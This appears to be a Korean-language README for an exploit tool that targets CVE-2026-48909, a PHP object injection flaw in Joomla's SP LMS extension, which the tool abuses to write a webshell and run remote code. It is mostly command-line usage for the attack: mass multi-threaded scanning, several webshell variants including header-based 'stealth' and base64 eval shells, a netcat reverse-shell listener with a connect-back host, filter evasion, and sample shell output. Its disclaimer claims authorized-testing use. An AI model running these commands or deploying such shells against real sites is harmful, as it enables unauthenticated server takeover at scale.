CVE-2026-48909 - Joomla SP LMS 확장 버전 <= 4.1.3에 대한 인증되지 않은 PHP 객체 인젝션에서 RCE로의 익스플로잇. lmsOrders 쿠키 역직렬화를 악용하여 Joomla FormattedtextLogger 가젯 체인을 통해 웹셸을 작성합니다. 대화형 셸, 경로 탐색 및 정리를 포함합니다. 승인된 보안 테스트 전용입니다.
CVE-2026-48909는 Joomla SP LMS 확장 프로그램에서 발생하는 치명적인 인증되지 않은 PHP 객체 주입 취약점입니다. 이 도구는 완전한 공격 체인을 구현하여 보안 전문가가 실험실 또는 승인된 환경에서 영향을 검증할 수 있도록 합니다.
탐지, 경로 발견, 페이로드 전달, 대화형 사후 침투 (허가된 경우), 대량 평가, 선택적 정리 등을 포함합니다.
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2026-48909 |
| CVSS | 9.5 (치명적) |
| 공격 경로 | 네트워크 — 인증 불필요 |
| 영향 | 원격 코드 실행 |
| 영향 받는 제품 | Joomla SP LMS |
| 영향 받는 버전 | 1.0.0 – 4.1.3 |
| 패치된 버전 | SP LMS 4.1.4+ |
| 가젯 체인 | Joomla < 5.2.2 필요 |
| 구성 요소 | 버전 | 원격 코드 실행 |
|---|---|---|
| SP LMS | < 4.1.4 | 취약 |
| SP LMS | ≥ 4.1.4 | 패치됨 |
| Joomla | < 5.2.2 | 가젯 체인 사용 가능 |
| Joomla | ≥ 5.2.2 | 가젯 체인 패치됨 |
| 기능 | 설명 |
|---|---|
| 인증되지 않은 익스플로잇 | 자격 증명 불필요 |
| 다중 페이로드 | 7가지 웹쉘/실행 변형 |
| 대화형 셸 | 배포 후 명령 히스토리 세션 |
| 경로 발견 | 자동 쓰기 가능 경로 프로빙 |
| 정리 | 테스트 후 배포된 웹쉘 제거 |
| 기능 | 설명 |
|---|---|
| 대량 스캐닝 | 다중 스레드 대상 목록 (1000+) |
| 프록시 지원 | HTTP/SOCKS (Burp, ZAP 등) |
| 리버스 셸 | 리스너 기반 페이로드 |
| 스텔스 모드 | 헤더/POST 기반 명령 채널 |
| 랜덤화 | UUID 셸 이름, User-Agent 순환 |
| 보고 | JSON, HTML 또는 CSV로 내보내기 |
| 탐지 지원 | Joomla 버전 확인, --check-only, --safe-mode |
cmd 필터에 의해 차단되는 문자 회피pipcd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
requests>=2.31.0
urllib3>=2.0.0
argparse는 Python 표준 라이브러리에 포함되어 있으므로 pip로 설치할 필요가 없습니다.
https://target.example를 실험실 또는 승인된 대상으로만 바꿔 사용하세요.
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
# 리스너
nc -lvnp 4444
# 익스플로잇 호스트
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
| 인자 | 설명 |
|---|---|
target | 단일 대상 URL |
--targets, -T FILE | 대상 목록 파일 (한 줄에 하나의 URL) |
--path PATH | 웹쉘의 절대 서버 경로 |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | 웹쉘 파일명 (기본값: x.php) |
| 인자 | 설명 |
|---|---|
--timeout SECONDS | 요청 제한 시간 (기본값: 15) |
--insecure | TLS 인증서 확인 건너뜀 |
--proxy URL | 예: http://127.0.0.1:8080 |
--random-ua | User-Agent 순환 (기본 활성화) |
--delay SECONDS | 요청 간 지연 시간 |
| 인자 | 설명 |
|---|---|
--reverse-host HOST | 리스너 호스트 |
--reverse-port PORT | 리스너 포트 |
| 인자 | 설명 |
|---|---|
--interactive, -i | 배포 후 대화형 셸 |
--check-only | 취약점 확인 전용 |
--safe-mode | 비파괴적 테스트 |
--find-path | 쓰기 가능 경로 자동 발견 |
--cmd COMMAND | 단일 명령 실행 후 종료 |
--cleanup PATH | 경로의 웹쉘 제거 |
--cleanup-after | 익스플로잇 후 정리 |
| 인자 | 설명 |
|---|---|
--threads NUM | 작업자 스레드 수 (기본값: 10) |
--export FILE | 결과 출력 경로 |
--export-format FORMAT | json, html, csv (기본값: json) |
| 인자 | 설명 |
|---|---|
--log-file FILE | 로그를 파일로 저장 |
--quiet, -q | 조용한 모드 |
--verbose, -v | 상세 출력 |
--no-banner | 배너 숨김 |
| 유형 | 동작 | 일반적인 사용 사례 |
|---|---|---|
minimal | 간결한 GET 기반 실행 | 제한된 공간 / 빠른 테스트 |
standard | GET + POST cmd (기본값) | 일반적인 평가 |
stealth | X-Cmd 헤더를 통한 명령 | URL 로깅 최소화 |
base64 | POST를 통한 eval(base64_decode(...)) | 필터 우회 실험실 |
full | GET/POST + base64 채널 | 더 넓은 제어 |
reverse | 연결-백 셸 | 지속적인 실험실 접근 |
blindshell | 대체 포함/실행 패턴 | 제한된 환경 |
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
--reverse-host 10.0.0.1 --reverse-port 4444 --find-path
flowchart TD
A["공격자가 제어하는 lmsOrders 쿠키"] --> B["cart.php의 unserialize()"]
B --> C["FormattedtextLogger::__destruct()"]
C --> D["File::write() — PHP 드롭"]
D --> E["디스크에 웹쉘 저장"]
E --> F["원격 명령 실행"]components/com_splms/models/cart.php가 base64로 디코딩된 lmsOrders 쿠키를 역직렬화합니다.Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct()가 파일 시스템 쓰기를 유발합니다./, =, +)를 회피합니다.Joomla의 cmd 필터는 /, =, +를 제거할 수 있습니다. 이 도구는 다음과 같이 보완합니다:
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> whoami
www-data
shell> pwd
/var/www/html
shell> exit
{
"timestamp": "2026-07-16T10:30:00.123456",
"target": "https://lab.example",
"shell_path": "/tmp/x_abc123def.php",
"shell_url": "https://lab.example/tmp/x_abc123def.php",
"shell_type": "standard",
"vulnerable": true,
"exploited": true,
"joomla_version": "4.3.2",
"detected_paths": [
"/tmp/x_abc123def.php",
"/images/x_abc123def.php",
"/cache/x_abc123def.php"
],
"author": "Sudeepa Wanigarathna",
"tool_version": "3.0"
}
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
| 증상 | 시도할 조치 |
|---|---|
| 필터 안전 페이로드를 생성할 수 없음 | 다른 --path 또는 --find-path 사용; 비정상적인 경로 문자 회피 |
| 셸 확인 실패 | --timeout 증가; --shell-type standard 시도; system() 등 비활성화 확인; 쓰기 가능 여부 확인 |
| 대상이 취약하지 않은 것으로 보임 | SP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms 존재; WAF 차단 확인 |
| HTTP 500 | --insecure, --timeout 30, 애플리케이션/서버 로그 검토 |
| 프록시 연결 거부 | 프록시 수신 확인; URL 스킴/호스트/포트 올바른지 확인 |
| TLS 검증 실패 | 인증서가 손상된 실험실 엔드포인트에 대해 --insecure 추가 |
# 상세 출력 + 파일 로그
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log
# Burp를 통한 통신
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
--proxy http://127.0.0.1:8080 --insecure -v
# 먼저 비파괴적 테스트
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
exploit/
├── CVE-2026-48909 v3.0.py # 메인 도구 (v3.0)
├── requirements.txt # Python 의존성
├── README.md # 이 파일
└── venv/ # 로컬 가상 환경 (선택 사항, 커밋되지 않음)
공개 배포를 위한 선택적 추가:
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh
이 프로젝트는 있는 그대로 방어적 보안 연구 및 승인된 침투 테스트를 위해 제공됩니다.
이 소프트웨어를 사용함으로써 귀하는 다음에 동의합니다:
이 취약점을 실제 환경에서 발견한 경우, 책임 있는 공개 절차를 따르고 적절한 경우 공급업체/CERT와 협력하십시오.
Sudeepa Wanigarathna
보안 연구원 · 윤리적 해킹 · 취약점 연구 · Python 도구 개발
승인된 보안 테스트 전용입니다.